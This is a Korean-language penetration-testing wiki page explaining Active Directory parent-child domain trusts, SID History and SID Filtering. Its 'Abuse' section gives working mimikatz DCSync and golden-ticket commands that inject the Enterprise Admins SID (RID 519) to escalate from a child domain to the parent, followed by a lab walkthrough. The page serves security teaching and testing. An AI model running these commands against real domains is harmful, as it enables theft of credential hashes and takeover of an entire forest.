Parent & Child
기존에 생성된 도메인의 DC를 DNS 서버로 지정한 새로운 컴퓨터를 도메인 컨트롤러로 승격 시, DNS 서버의 자식 도메인으로 지정하는 것이 가능합니다. 부모 도메인을 포레스트 단위로는 트리 루트라고 부릅니다.
포레스트: AD-Forest.local
├── 트리 1
│ └── contoso.com ← 트리 루트
│ └── seoul.contoso.com ← 자식 도메인
└── 트리 2
└── pentest.local ← 트리 루트
└── kr.pentest.local ← 자식 도메인
└── seoul.kr.pentest.local ← kr.pentest.local의 자식 도메인
위 다이어그램에서 보다시피 포레스트 안에는 여러 루트 트리가 있을 수 있고, 루트 트리 하위에는 수 많은 자식 도메인들이 있을 수 있습니다. 자식 도메인도 또 다른 자식 도메인에게는 부모 도메인이 됩니다.
부모-자식 관계가 성립되는 순간 두 도메인은 양방향 신뢰 관계가 구성됩니다. 그리고 이러한 신뢰 관계는 전이성을 갖고 있습니다. 예를 들어 위 다이어그램에서 트리2의 경우 다음과 같은 신뢰 관계가 성립됩니다.
pentest.local ↔ kr.pentest.local ↔ seoul.kr.pentest.local
pentest.local과 kr.pentest.local은 서로 양방향 신뢰를 가지며, kr.pentest.local과 seoul.kr.pentest.local 역시 서로 양방향 신뢰를 갖기 때문에 pentest.local과 seoul.kr.pentest.local은 서로를 신뢰합니다.
부모-자식 관계에서는 다른 신뢰 관계에서는 볼 수 없는 특이한 속성이 있는데, 바로 SID History입니다. 다른 모델에서는 이 속성의 사용을 막기 위한 SID Filtering이 활성화 되어 있지만, 부모-자식 모델에서는 기본 값이 비활성화입니다.
마이그레이션은 도메인 객체(사용자 계정, 컴퓨터 계정, GPO 등)를 소스 도메인으로부터 타겟 도메인으로 옮기는 작업을 의미합니다. contoso.com의 사용자 계정을 잠시 busan.contoso.com에 마이그레이션 한다고 하면, 언젠간 이 계정은 다시 contoso.com으로 옮겨야 할지 모릅니다. 다시 계정을 원래 도메인으로 복구시킬 때, 기존에 가지고 있던 객체 정보를 유지하기 위해서 SID History를 사용하는데, 자세한 설명은 SID History를 참고하세요.
Abuse
소스 도메인과 타겟 도메인 간의 관계에서 SID Filtering 상태를 확인한 후, 비활성화 상태라면 골든 티켓/다이아몬드 티켓을 만들어서 도메인 측면이동 및 장악을 합니다.
# SID Filtering 확인
netdom trust <target domain> /domain:<source domain> /quarantine
# 대상 도메인 SID 및 장악한 도메인 krbtgt 해시 획득
Get-ADUser -Identity "Administrator" -Server <target domain> | Select Name, SID
mimikatz # lsadump::dcsync /user:krbtgt@<source-domain> /domain:<source-domain>
# 골든 티켓 생성
mimikatz # kerberos::golden /user:Administrator /domain:<source-domain> /sid:<source-domain-SID> /krbtgt:<source-domain-krbtgt Key> /sids:<target-domain-SID-519> /ptt
Practice
실습 환경은 자식 도메인을 장악한 뒤 부모 도메인을 장악하려 하는 상황입니다. 자식 도메인에서 부모 도메인과의 트러스트 속성을 확인하여 SID Filtering이 어떤 상태인지 확인합니다.

부모 도메인과의 트러스트에서 SID Filtering 속성은 비활성화 상태이므로 트러스트 관계에 대한 골든 티켓 악용이 가능합니다. 이제 준비물은 부모 도메인의 SID와 자식 도메인 krbtgt Key입니다.

준비물이 모두 준비되었으므로 부모 도메인의 엔터프라이즈 관리자 그룹 권한을 갖는 SID History를 자식 도메인의 계정에 삽입하여 부모 도메인의 관리자 권한을 갖는 골든 티켓을 생성합니다. 부모 도메인의 SID 뒤에 519를 붙이는 이유는 RID 519는 기본적으로 Enterprise Admins 그룹이기 때문입니다.

References
Last updated
Was this helpful?